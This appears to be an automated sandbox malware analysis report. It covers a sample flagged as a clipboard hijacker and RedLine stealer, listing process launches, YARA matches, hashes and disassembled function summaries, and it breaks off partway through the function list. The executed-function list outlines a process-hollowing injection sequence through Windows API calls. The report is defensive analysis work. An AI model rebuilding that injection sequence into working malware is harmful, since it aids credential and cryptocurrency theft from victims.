Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 0000001F.00000002.2676356915.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 0000001F.00000002.2676356915.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 0000001F.00000002.2676356915.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	17:40:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000020.00000002.3283516956.0000000000AC0000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000020.00000002.3283314593.0000000000960000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000020.00000002.3283314593.0000000000960000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000020.00000002.3283314593.0000000000960000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	17:40:11
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Clipboard_Hijacker, Description: Yara detected Clipboard Hijacker, Source: 00000021.00000002.3281999346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Clipbanker_f9f9e79d, Description: unknown, Source: 00000021.00000002.3281999346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Clipbanker_787b130b, Description: unknown, Source: 00000021.00000002.3281999346.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	17:41:00
Start date:	24/04/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Imagebase:	0x400000
File size:	306'688 bytes
MD5 hash:	41B883A061C95E9B9CB17D4CA50DE770
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	44.7%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 05EA0110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 05EA0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 05EA016C
CreateProcessA.KERNELBASE(?,00000000), ref: 05EA0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 05EA0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 05EA0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 05EA029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05EA02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 05EA02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 05EA0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 05EA032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 05EA0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 05EA03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 05EA03E1
ResumeThread.KERNELBASE(00000000), ref: 05EA03ED
ExitProcess.KERNEL32(00000000), ref: 05EA0412

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 9961da6824815deb2394e802cf56f771d65fb40ccd91bae05066f3a72d62ecfa
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 6AB1E875A00208AFDB44CF98C895FAEBBB5FF88314F208158E549AB391D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 044987C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 044987EE
Module32First.KERNEL32(00000000,00000224), ref: 0449880E

Memory Dump Source

Source File: 00000000.00000002.1373934785.0000000004498000.00000040.00000020.00020000.00000000.sdmp, Offset: 04498000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4498000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 501a6edcc86a46bda8c2d9888072ec0d2e74cb424ca22ccce89e5ed2517fb8e6
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 97F0C2312107106BDF207FB9AC8DAABBAE8AF4A765F10052AE642911C0DA70FC455670

Uniqueness

Uniqueness Score: -1.00%

Function 05EA0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 05EA0533

Strings

mfoaskdfnoa, xrefs: 05EA0520, 05EA0523
d, xrefs: 05EA0584
0, xrefs: 05EA0492
saodkfnosa9uin, xrefs: 05EA04DA

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: ff6c279a41c4eb40634cf95ad05caf3bcd70c102293b789528025f0f31d1438d
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 8B512B70D08388DEEB11CBE8C849BEDBFB26F11708F144058D5847F286C3BA6658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 05EA05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 05EA05EC

Strings

o, xrefs: 05EA0600
apfHQ, xrefs: 05EA05E2, 05EA05E5

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 62f0c54d8145ddbf29e4bc1d832518ba38ccd497fddc378a5e4a0c71655eac39
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: E8012171C0424CEEDF10DBA8C5183AEBFB5AF8130CF1480D9C4492B241D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04498485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 044984D6

Memory Dump Source

Source File: 00000000.00000002.1373934785.0000000004498000.00000040.00000020.00020000.00000000.sdmp, Offset: 04498000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4498000_R5391762lf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 47d0b9dd1f2be3adb608296f27b2d3d21538e8543c5aec6be6ab34ff1ab6adab
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 33112B79A00208EFDB01DF99C985E99BFF5AF08350F058095F9489B362D371EA90EB80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 05EBF030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 05EBF0A7
_wcsstr.LIBCMT ref: 05EBF14E
_strstr.LIBCMT ref: 05EBF3D6
_malloc.LIBCMT ref: 05EBF526
_memset.LIBCMT ref: 05EBF534
_strstr.LIBCMT ref: 05EBF57A
_malloc.LIBCMT ref: 05EBF6F5
_memset.LIBCMT ref: 05EBF703
_free.LIBCMT ref: 05EBF7B5
_free.LIBCMT ref: 05EBF7C2

Strings

", xrefs: 05EBF640

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: 1a4f6942e01c895b57e5b60d161663e861ae9902e53d604d79895f6c08cf6093
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: 7A42CF71508340ABEB20DF24CC48BDB7BE8BF85309F04192DE5D997191EBB5D609CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 05EBA930 Relevance: 10.3, APIs: 3, Strings: 2, Instructions: 1565COMMON

Download Yara Rule

Strings

x2Q, xrefs: 05EBB1F6
<, xrefs: 05EBB01B

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: _memset
String ID: <$x2Q
API String ID: 2102423945-643667464
Opcode ID: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction ID: 629c069c6d09d4bbc51b0b2cd5f538b375126328cd2000b831dc6496d56dbb11
Opcode Fuzzy Hash: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction Fuzzy Hash: C4D2B3716083419BEB14EF24DC99BDFBBE9BF84305F00192CE5C597291EBB1A509CB92

Uniqueness

Uniqueness Score: -1.00%

Function 05EB00D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: bb3a0f0ccb678250ab687821690b3997ca49c8a17d7a8e17c4ebec5f6c0ea895
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 46529171D00218DFEF10DFA8C989BEFBBB5BF04309F105169D499A7250E7B1AA49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05EAE6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 05EAE72D
_wcsstr.LIBCMT ref: 05EAE756
_memset.LIBCMT ref: 05EAE784

Part of subcall function 05EEFC0C: std::exception::exception.LIBCMT ref: 05EEFC1F
Part of subcall function 05EEFC0C: __CxxThrowException@8.LIBCMT ref: 05EEFC34
Part of subcall function 05EEFC0C: std::exception::exception.LIBCMT ref: 05EEFC4D
Part of subcall function 05EEFC0C: __CxxThrowException@8.LIBCMT ref: 05EEFC62
Part of subcall function 05EEFC0C: std::regex_error::regex_error.LIBCPMT ref: 05EEFC74
Part of subcall function 05EEFC0C: __CxxThrowException@8.LIBCMT ref: 05EEFC82
Part of subcall function 05EEFC0C: std::exception::exception.LIBCMT ref: 05EEFC9B
Part of subcall function 05EEFC0C: __CxxThrowException@8.LIBCMT ref: 05EEFCB0

_wcsstr.LIBCMT ref: 05EAEA0C
_memset.LIBCMT ref: 05EAEE5C

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: 5a5928dee9914f3660b2d755a22a07399ae6b48b2a64fcad851849de59ea9154
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: 4152D272A002199FDF24CF78C894BAEBBFAFF04304F145569D886AF281D771A945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05EB0B00 Relevance: 6.7, APIs: 4, Instructions: 660COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction ID: 9c4bb9c86b96060e3ffaaf945e1acaabef0915609df205b091070e5eca3c62f8
Opcode Fuzzy Hash: 37c666b43537968137d919f050b0984878a90477fb183cf48e642191e4cf2ccd
Instruction Fuzzy Hash: A742AF70E00208DBEF14DFA4C998BEFB7F5BF04309F205169D495A7290E7B1AA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 05EADBE0 Relevance: 5.2, APIs: 3, Instructions: 702COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction ID: edd5c82b32aa5c64b47f5c1e1dadfc72fea64a3b35641826eaa6abbd23c1ad97
Opcode Fuzzy Hash: e85d920e4c80818efeaee1da1ba528809e92032e84bc46f79e75b20126437919
Instruction Fuzzy Hash: 5B526171E00259DFDB11DFB4C888FAEBBB9BF49704F149198E545AB250DB30AD49CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0040A32F Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,0040A3C1,004142EC,00000001,?,0040A4D8,004142EC,00000017), ref: 0040A334
UnhandledExceptionFilter.KERNEL32(004142EC,?,0040A3C1,004142EC,00000001,?,0040A4D8,004142EC,00000017), ref: 0040A33D

Memory Dump Source

Source File: 00000000.00000002.1371209577.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1371188287.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371228997.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371245117.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371259522.000000000041C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371259522.0000000000421000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371328592.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371328592.000000000409F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1373459929.00000000040A1000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R5391762lf.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 201c1a21d9426f2c703b029de822ecd4bba0d46c1206059840ca0e40a68c95d5
Instruction ID: 307cec53737e5789a00372f04ba6450ea43eb2a69cdbc6aada34296422148bc5
Opcode Fuzzy Hash: 201c1a21d9426f2c703b029de822ecd4bba0d46c1206059840ca0e40a68c95d5
Instruction Fuzzy Hash: F8B09231044208BBCA026BE1ED09BC83F28EB09672F118020FB4D84060CBA294608BA9

Uniqueness

Uniqueness Score: -1.00%

Function 05F222C0 Relevance: 1.8, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

$, xrefs: 05F2291E

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction ID: 26bfd79173d6106be5e84031c9e89d640c7f82daedc51500ef105f0c9b53f3ac
Opcode Fuzzy Hash: 1cca9afa04801860d959689bc8690a28a22b5c0188d9fdbf1e0bc31c4e8f15f0
Instruction Fuzzy Hash: 603290B5E0022D9ADF609F64CC44BAEB7B9FF45700F0441EAE64DE6151EB788A80CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00405A52 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(004043B2,004199F8,00000014), ref: 00405A52

Memory Dump Source

Source File: 00000000.00000002.1371209577.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1371188287.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371228997.0000000000412000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371245117.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371259522.000000000041C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371259522.0000000000421000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371328592.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1371328592.000000000409F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1373459929.00000000040A1000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_R5391762lf.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 877f7532474f939f07e48e84206d8762b2e56c196f7ffa364ed5cfffc219409f
Instruction ID: 3b7da6121f9218093834e0472596f7066885dfcdf324f6a2231fac766d3eeed4
Opcode Fuzzy Hash: 877f7532474f939f07e48e84206d8762b2e56c196f7ffa364ed5cfffc219409f
Instruction Fuzzy Hash: B2B012F030310347470C8F397D5915939D4674C202300823D7003C1160DF60C460DB08

Uniqueness

Uniqueness Score: -1.00%

Function 05EA5DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: 90c53f99a937c7ff5ce2519f1c13ec6b27c519e2460bed7f355e44d2f7442217
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: 4A42AF71629F159BC3DADF24C88055BF3E1FFC8218F048A1DD99997A90DB38F819CA91

Uniqueness

Uniqueness Score: -1.00%

Function 05EAA026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: 2c0588e6da2234a88234c1b3c8d5a5e7734755766c16aa1504cb76178a736684
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: D622D2B69087129FC714CF29D08055AF7E1FF88324F558A6EE8A9A7B10D730BA55CF81

Uniqueness

Uniqueness Score: -1.00%

Function 05EA2B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Uniqueness

Uniqueness Score: -1.00%

Function 05EA3520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: a3caefb5abe4fa90b5e031a9105ab0f3502b6b17cb93001c7bf6f11c9ce6c490
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: 36028F725187058FC756EE1CD49036AF3E1FFC8305F19892CD6898BB64E739A9198F82

Uniqueness

Uniqueness Score: -1.00%

Function 05EA89D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: 1459525c9ed4b61a12430f1af1f8fa377b280b5986461786c1953cbc4598fc2f
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: 13C12833E2477906D764DEBE8C500AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Uniqueness

Uniqueness Score: -1.00%

Function 05EAB0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: bfc864a58e33c8e0bf8a28b4c585ceb30d4ccf11cff69ea52716847c8f983ca6
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: FEA1EB0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Uniqueness

Uniqueness Score: -1.00%

Function 05EA30F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Uniqueness

Uniqueness Score: -1.00%

Function 05EACA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: ebeba73ca62ad21f379309ea9fa6259df0933b5b63a0bc7a991fb145f73a9963
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 1FC1AFB1E003499FCB54CFA9C881AEDFBF1FF48204F24816AE959E7301E334AA458B54

Uniqueness

Uniqueness Score: -1.00%

Function 05EA5DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1374077836.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 05EA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ea0000_R5391762lf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: 50fcf8265e69f251834db4b98d5e491fe70f2a385d03b6aa583beb86b73c07de
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: F2B18470039FA686CBD3FF30911024BF7E0BFC525DF44194AD5998A864EB3EE94E9215

Uniqueness

Uniqueness Score: -1.00%

Function 05EA7520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

